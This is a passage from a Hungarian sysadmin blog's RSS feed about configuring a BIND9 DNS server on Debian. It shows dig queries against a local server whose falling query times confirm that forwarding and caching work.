&lt;p&gt;Most nézzünk egy olyan címet, amit biztosan nem tud helyben feloldani és egy másik DNS szerverhez kell fordulnia. Kérjük meg &lt;code&gt;dig&lt;/code&gt; utasítással a szerverünket, hogy oldja fel a www.index.hu domain nevet.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# dig @192.168.10.10 www.index.hu&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.9.5-9+deb8u5-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; @192.168.10.10 www.index.hu
&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; server found&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; global options: +cmd
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; Got answer:
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; -&amp;gt;&amp;gt;HEADER&lt;span class=&quot;s&quot;&gt;&amp;lt;&amp;lt;- opco&lt;/span&gt;de: QUERY, status: NOERROR, id: 11439
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; flags: qr rd ra&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; QUERY: 1, ANSWER: 1, AUTHORITY: 13, ADDITIONAL: 1

&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; OPT PSEUDOSECTION:
&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; EDNS: version: 0, flags:&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; udp: 4096
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; QUESTION SECTION:
&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;www.index.hu.			IN	A

&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; ANSWER SECTION:
www.index.hu.		89	IN	A	217.20.130.99

&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; AUTHORITY SECTION:
.			11755	IN	NS	c.root-servers.net.
.			11755	IN	NS	d.root-servers.net.
.			11755	IN	NS	g.root-servers.net.
.			11755	IN	NS	h.root-servers.net.
.			11755	IN	NS	m.root-servers.net.
.			11755	IN	NS	j.root-servers.net.
.			11755	IN	NS	l.root-servers.net.
.			11755	IN	NS	f.root-servers.net.
.			11755	IN	NS	k.root-servers.net.
.			11755	IN	NS	a.root-servers.net.
.			11755	IN	NS	b.root-servers.net.
.			11755	IN	NS	e.root-servers.net.
.			11755	IN	NS	i.root-servers.net.

&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; Query &lt;span class=&quot;nb&quot;&gt;time&lt;/span&gt;: &lt;span class=&quot;m&quot;&gt;203&lt;/span&gt; msec
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; SERVER: 192.168.10.10#53&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;192.168.10.10&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; WHEN: Thu Mar &lt;span class=&quot;m&quot;&gt;03&lt;/span&gt; 20:39:07 CET 2016
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; MSG SIZE  rcvd: 268&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Látható, hogy minden további nélkül feloldotta, vagyis a &lt;code&gt;forwarders&lt;/code&gt; opció működik. Ha most még egyszer lekérjük ugyanezt, akkor a válasz végén levő statisztikából kiderül, hogy már nem fordul a másik DNS szerverhez, hanem cache-böl válaszol rá, amit láthatunk a &lt;code&gt;Query time&lt;/code&gt; különbségéből.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# dig @192.168.10.10 www.index.hu&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.9.5-9+deb8u5-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; @192.168.10.10 www.index.hu
&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; server found&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; global options: +cmd
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; Got answer:
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; -&amp;gt;&amp;gt;HEADER&lt;span class=&quot;s&quot;&gt;&amp;lt;&amp;lt;- opco&lt;/span&gt;de: QUERY, status: NOERROR, id: 23696
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; flags: qr rd ra&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; QUERY: 1, ANSWER: 1, AUTHORITY: 13, ADDITIONAL: 1
...

...
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; Query &lt;span class=&quot;nb&quot;&gt;time&lt;/span&gt;: &lt;span class=&quot;m&quot;&gt;31&lt;/span&gt; msec
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; SERVER: 192.168.10.10#53&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;192.168.10.10&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; WHEN: Thu Mar &lt;span class=&quot;m&quot;&gt;03&lt;/span&gt; 20:44:37 CET 2016
&lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt; MSG SIZE  rcvd: 268&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Így már csak 31 msec a válasz idő az elöbbi 203-al szemben.&lt;/p&gt;

&lt;p&gt;Ez már elég, ahhoz hogy a BIND9 DNS szerver alapszinten működjön. A késöbbiek folyamán majd leírom, a DNS szerverünk kiegészítését egy slave DNS szerverrel, ahova autómatán szinkronizálódnak majd a zóna változások és a fő DNS szerver kiesése esetén tökéletesen működik, mint tartalék DNS szerver.&lt;/p&gt;
</description>
        <pubDate>Mon, 29 Feb 2016 22:17:19 +0100</pubDate>
        <link>http://www.sysop.hu/blog/bind9/2016/02/29/BIND9-DNS-szerver-Debian-on/</link>
        <guid isPermaLink="true">http://www.sysop.hu/blog/bind9/2016/02/29/BIND9-DNS-szerver-Debian-on/</guid>
        
        
        <category>bind9</category>
        
      </item>
    
  </channel>
</rss>
